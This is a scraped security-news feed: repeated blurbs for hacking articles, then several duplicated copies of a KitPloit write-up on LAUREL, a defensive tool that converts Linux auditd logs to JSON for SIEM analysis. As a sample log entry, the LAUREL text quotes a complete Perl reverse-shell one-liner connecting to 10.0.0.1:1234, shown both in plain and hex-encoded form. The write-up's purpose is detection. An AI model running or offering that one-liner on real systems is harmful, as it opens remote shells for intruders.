Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Sayfer Identifies Security Vulnerability Affecting 10% of All NFT Projects
https://cdn-images-1.medium.com/max/1110/1*GaGR6IZM_iwCPnq6QpBfrg.jpeg
The BadReveal vulnerability allows hackers to seize the greatest and most valuable NFTs at launch before reselling them for a huge profit…
Continue reading on Ambros App »
Sayfer Identifies Security Vulnerability Affecting 10% of All NFT Projects
https://cdn-images-1.medium.com/max/1110/1*GaGR6IZM_iwCPnq6QpBfrg.jpeg
The BadReveal vulnerability allows hackers to seize the greatest and most valuable NFTs at launch before reselling them for a huge profit…
Continue reading on Ambros App »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Windows Privilege Escalation (1) — Unquoted service paths
https://cdn-images-1.medium.com/max/1280/1*pkyRyDGQ1CZeN58EXHl5lA.jpeg
When starting a service, Windows require the path to the service binary. And if the full path to the binary has spaces in between the…
Continue reading on Medium »
Windows Privilege Escalation (1) — Unquoted service paths
https://cdn-images-1.medium.com/max/1280/1*pkyRyDGQ1CZeN58EXHl5lA.jpeg
When starting a service, Windows require the path to the service binary. And if the full path to the binary has spaces in between the…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
How Hackers Got Almost $1.1 Million from Audius
https://cdn-images-1.medium.com/max/1200/0*dzpcHLiXu1XMVsgu.jpg
A bug in the contract creation code allowed hackers to get around $6.05 million worth of Audius tokens at the time. The stolen funds were…
Continue reading on Ambros App »
How Hackers Got Almost $1.1 Million from Audius
https://cdn-images-1.medium.com/max/1200/0*dzpcHLiXu1XMVsgu.jpg
A bug in the contract creation code allowed hackers to get around $6.05 million worth of Audius tokens at the time. The stolen funds were…
Continue reading on Ambros App »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
PORTSWIGGER -Access Control Vulnerabilities LAB Çözümleri
https://cdn-images-1.medium.com/max/940/1*J2hxYOcVyCiRoyE2_o2jYQ.png
Selam arkadaşlar bugün Broken Access Control Zafiyetinden bahsedip, Portswigger’da bulunan soruların çözümlerinden bahsedeceğim.
Continue reading on Medium »
PORTSWIGGER -Access Control Vulnerabilities LAB Çözümleri
https://cdn-images-1.medium.com/max/940/1*J2hxYOcVyCiRoyE2_o2jYQ.png
Selam arkadaşlar bugün Broken Access Control Zafiyetinden bahsedip, Portswigger’da bulunan soruların çözümlerinden bahsedeceğim.
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Magecart Hacks Food Ordering Systems to Steal this Data from Over 300 Restaurants
https://cdn-images-1.medium.com/max/728/0*_Dfb22nmpXFND92v
Three restaurant ordering platforms MenuDrive, Harbortouch, and InTouchPOS were the target of two Magecart skimming campaigns that…
Continue reading on Medium »
Magecart Hacks Food Ordering Systems to Steal this Data from Over 300 Restaurants
https://cdn-images-1.medium.com/max/728/0*_Dfb22nmpXFND92v
Three restaurant ordering platforms MenuDrive, Harbortouch, and InTouchPOS were the target of two Magecart skimming campaigns that…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
A full breakdown of Ladakh’s Power-Grid hack
https://cdn-images-1.medium.com/max/2600/0*nloiQpdiGPUtWmje
Threat Activity Group 38 (TAG-38) is a hacking group which used ShadowPad Command and Control (C2) and compromised IOT devices (devices…
Continue reading on Medium »
A full breakdown of Ladakh’s Power-Grid hack
https://cdn-images-1.medium.com/max/2600/0*nloiQpdiGPUtWmje
Threat Activity Group 38 (TAG-38) is a hacking group which used ShadowPad Command and Control (C2) and compromised IOT devices (devices…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
Laurel - Transform Linux Audit Logs For SIEM Usage
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPx65opN-UVLxMLIMCUJHu0dqQzVrX-YPp09upe-KyeDI9ep-pjV9QHEzqhWzeT3U3tUypJjGDnCDEBdpxA2Iye4GhApDiEyHGG9W3l6kcwjQtB7yL6ajrLmY8hjYUQfORhZAu0To5s5ckkqLrmBMfxtMQCtWZe47VN-qyFR-AhDbESPh39oEP-EjJ/s16000/laurel.png LAUREL is an event post-processing plugin for auditd(8) to improve its usability in modern security monitoring setups. Why?TLDR: Instead of audit events that look like this…
LAUREL solves these problems by consuming audit events, parsing and transforming them into more data and writing them out as a JSON-based log format, while keeping all information intact that was part of the original audit log. It does not replace auditd(8) as the consumer of audit messages from the kernel. Instead, it uses the audisp ("audit dispatch") interface to receive messages via auditd(8). Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products).
Refer to JSON-based log format for a description of the log format.
We developed this tool because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to Performance for details. A word about audit rulesA good starting point for an audit ruleset is https://github.com/Neo23x0/auditd, but generally speaking, any ruleset will do. LAUREL will currently only work as designed if End Of Event record are not suppressed, so rules like
Consider the following rule that set keys for apt and dpkg invocations:
Laurel - Transform Linux Audit Logs For SIEM Usage
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPx65opN-UVLxMLIMCUJHu0dqQzVrX-YPp09upe-KyeDI9ep-pjV9QHEzqhWzeT3U3tUypJjGDnCDEBdpxA2Iye4GhApDiEyHGG9W3l6kcwjQtB7yL6ajrLmY8hjYUQfORhZAu0To5s5ckkqLrmBMfxtMQCtWZe47VN-qyFR-AhDbESPh39oEP-EjJ/s16000/laurel.png LAUREL is an event post-processing plugin for auditd(8) to improve its usability in modern security monitoring setups. Why?TLDR: Instead of audit events that look like this…
type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742… …turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance: { … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …} This happens at the source. The generated event even contains useful information about the spawning process: "PARENT_INFO":{"ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631} DescriptionLogs produced by the Linux Audit subsystem and auditd(8) contain information that can be very useful in a SIEM context (if a useful rule set has been configured). However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via PATHand EXECVEelements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see Practical auditd(8) problems.LAUREL solves these problems by consuming audit events, parsing and transforming them into more data and writing them out as a JSON-based log format, while keeping all information intact that was part of the original audit log. It does not replace auditd(8) as the consumer of audit messages from the kernel. Instead, it uses the audisp ("audit dispatch") interface to receive messages via auditd(8). Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products).
Refer to JSON-based log format for a description of the log format.
We developed this tool because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to Performance for details. A word about audit rulesA good starting point for an audit ruleset is https://github.com/Neo23x0/auditd, but generally speaking, any ruleset will do. LAUREL will currently only work as designed if End Of Event record are not suppressed, so rules like
-a always,exclude -F msgtype=EOEshould be removed. Events with contextEvery event that is caused by a syscall or filesystem rule is annotated with information about the parent of the process that caused the event. If available, idpoints to the message corresponding to the last execvesyscall for this process: "PARENT_INFO": {
"ID": "1643635026.276:327308",
"comm": "sh",
"exe": "/usr/bin/dash",
"ppid": 1532
}Adding more context: Keys and process labelsAudit events can contain a key, a short string that can be used to filter events. LAUREL can be configured to recognize such keys and add them as keys to the process that caused the event. These labels can also be propagated to child processes. This is useful to avoid expensive JOIN-like operations in log analysis to filter out harmless events.Consider the following rule that set keys for apt and dpkg invocations:
-w /usr/bin/apt-get -p x -k software_mgmt Let's config[...]
Hacking Articles Tips Tricks Videos Tutorials
KitPloit - PenTest Tools! Laurel - Transform Linux Audit Logs For SIEM Usage https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPx65opN-UVLxMLIMCUJHu0dqQzVrX-YPp09upe-KyeDI9ep-pjV9QHEzqhWzeT3U3tUypJjGDnCDEBdpxA2Iye4GhApDiEyHGG9W3l6kcwjQtB7yL6ajr…
ure LAUREL to turn the
Together with a ruleset that logs execve(2) and variants, this will cause every event directly caused by
For example, running
*
* Sergej Schmidt sergej@msgpeek.net>
The logo was created by Birgit Meyer hello@biggi.io>. Download Laurel
software_mgmtkey into a process label that is propagated to child processes:Together with a ruleset that logs execve(2) and variants, this will cause every event directly caused by
apt-getand its subprocesses to be labelled software_mgmt. For example, running
sudo apt-get updateon a Debian/bullseye system with a few sources configured, the following subprocesses labelled software_gmtcan be observed in LAUREL's audit log:*
apt-get update* /usr/bin/dpkg --print-foreign-architectures* /usr/lib/apt/methods/http* /usr/lib/apt/methods/https* /usr/lib/apt/methods/https* /usr/lib/apt/methods/http* /usr/lib/apt/methods/gpgv* /usr/lib/apt/methods/gpgv* /usr/bin/dpkg --print-foreign-architectures* /usr/bin/dpkg --print-foreign-architecturesThis sort of tracking also works for package installation or removal. If some package's post-installation script is behaving suspiciously, a SIEM analyst will be able to make the connection to the software installation process by inspecting the single event. InstallationSee INSTALL.md. LicenseGNU General Public License, version 3 Authors* Hilko Bengen bengen@hilluzination.de>* Sergej Schmidt sergej@msgpeek.net>
The logo was created by Birgit Meyer hello@biggi.io>. Download Laurel
Laurel - Transform Linux Audit Logs For SIEM Usage
http://www.kitploit.com/2022/07/laurel-transform-linux-audit-logs-for.html
http://www.kitploit.com/2022/07/laurel-transform-linux-audit-logs-for.html
LAUREL is an event post-processing plugin for auditd(8) to improve its usability in modern security monitoring setups.
Why? TLDR: Instead of audit events that look like this… type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…
…turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance: { … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …}
This happens at the source. The generated event even contains useful information about the spawning process: "PARENT_INFO":{"ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631}
Description Logs produced by the Linux Audit subsystem and auditd(8) contain information that can be very useful in a SIEM context (if a useful rule set has been configured). However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via PATH and EXECVE elements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see Practical auditd(8) problems. LAUREL solves these problems by consuming audit events, parsing and transforming them into more data and writing them out as a JSON-based log format, while keeping all information intact that was part of the original audit log. It does not replace auditd(8) as the consumer of audit messages from the kernel. Instead, it uses the audisp ("audit dispatch") interface to receive messages via auditd(8). Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products). Refer to JSON-based log format (https://github.com/threathunters-io/laurel/blob/master/json-format.md) for a description of the log format. We developed this tool because we were not content with feature sets and performance (https://www.kitploit.com/search/label/Performance) characteristics of existing projects and products. Please refer to Performance (https://github.com/threathunters-io/laurel/blob/master/performance.md) for details. A word about audit rules A good starting point for an audit ruleset is https://github.com/Neo23x0/auditd, but generally speaking, any ruleset will do. LAUREL will currently only work as designed if End Of Event record are not suppressed, so rules like -a always,exclude -F msgtype=EOE should be removed. Events with context Every event that is caused by a syscall or filesystem (https://www.kitploit.com/search/label/Filesystem) rule is annotated with information about the parent of the process that caused the event. If available, id points to the message corresponding to the last execve syscall for this process: "PARENT_INFO": {
"ID": "1643635026.276:327308",
"comm": "sh",
"exe": "/usr/bin/dash",
"ppid": 1532
} Adding more context: Keys and process labels Audit events can contain a key, a short string that can be used to filter events. LAUREL can be configured to recognize such keys and add them as keys to the process that caused the event. These labels can also be propagated to child processes. This is useful to avoid expensive JOIN-like operations (https://www.kitploit.com/search/label/Operations) in log analysis (https://www.kitploit.com/search/label/Analysis) to filter out harmless events. Consider the following rule that set keys for apt and dpkg invocations: -w /usr/bin/apt-get -p x -k software_mgmt
Why? TLDR: Instead of audit events that look like this… type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…
…turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance: { … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …}
This happens at the source. The generated event even contains useful information about the spawning process: "PARENT_INFO":{"ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631}
Description Logs produced by the Linux Audit subsystem and auditd(8) contain information that can be very useful in a SIEM context (if a useful rule set has been configured). However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via PATH and EXECVE elements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see Practical auditd(8) problems. LAUREL solves these problems by consuming audit events, parsing and transforming them into more data and writing them out as a JSON-based log format, while keeping all information intact that was part of the original audit log. It does not replace auditd(8) as the consumer of audit messages from the kernel. Instead, it uses the audisp ("audit dispatch") interface to receive messages via auditd(8). Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products). Refer to JSON-based log format (https://github.com/threathunters-io/laurel/blob/master/json-format.md) for a description of the log format. We developed this tool because we were not content with feature sets and performance (https://www.kitploit.com/search/label/Performance) characteristics of existing projects and products. Please refer to Performance (https://github.com/threathunters-io/laurel/blob/master/performance.md) for details. A word about audit rules A good starting point for an audit ruleset is https://github.com/Neo23x0/auditd, but generally speaking, any ruleset will do. LAUREL will currently only work as designed if End Of Event record are not suppressed, so rules like -a always,exclude -F msgtype=EOE should be removed. Events with context Every event that is caused by a syscall or filesystem (https://www.kitploit.com/search/label/Filesystem) rule is annotated with information about the parent of the process that caused the event. If available, id points to the message corresponding to the last execve syscall for this process: "PARENT_INFO": {
"ID": "1643635026.276:327308",
"comm": "sh",
"exe": "/usr/bin/dash",
"ppid": 1532
} Adding more context: Keys and process labels Audit events can contain a key, a short string that can be used to filter events. LAUREL can be configured to recognize such keys and add them as keys to the process that caused the event. These labels can also be propagated to child processes. This is useful to avoid expensive JOIN-like operations (https://www.kitploit.com/search/label/Operations) in log analysis (https://www.kitploit.com/search/label/Analysis) to filter out harmless events. Consider the following rule that set keys for apt and dpkg invocations: -w /usr/bin/apt-get -p x -k software_mgmt
Let's configure LAUREL to turn the software_mgmt key into a process label that is propagated to child processes: Together with a ruleset that logs execve(2) and variants, this will cause every event directly caused by apt-get and its subprocesses to be labelled software_mgmt. For example, running sudo apt-get update on a Debian/bullseye system with a few sources configured, the following subprocesses labelled software_gmt can be observed in LAUREL's audit log: apt-get update /usr/bin/dpkg --print-foreign-architectures /usr/lib/apt/methods/http /usr/lib/apt/methods/https /usr/lib/apt/methods/https /usr/lib/apt/methods/http /usr/lib/apt/methods/gpgv /usr/lib/apt/methods/gpgv /usr/bin/dpkg --print-foreign-architectures /usr/bin/dpkg --print-foreign-architectures This sort of tracking (https://www.kitploit.com/search/label/Tracking) also works for package installation or removal. If some package's post-installation script is behaving suspiciously, a SIEM analyst will be able to make the connection to the software installation process by inspecting the single event. Installation See INSTALL.md (https://github.com/threathunters-io/laurel/blob/master/INSTALL.md). License GNU General Public License, version 3 Authors Hilko Bengen Sergej Schmidt The logo was created by Birgit Meyer .
Download Laurel (https://github.com/threathunters-io/laurel)
Download Laurel (https://github.com/threathunters-io/laurel)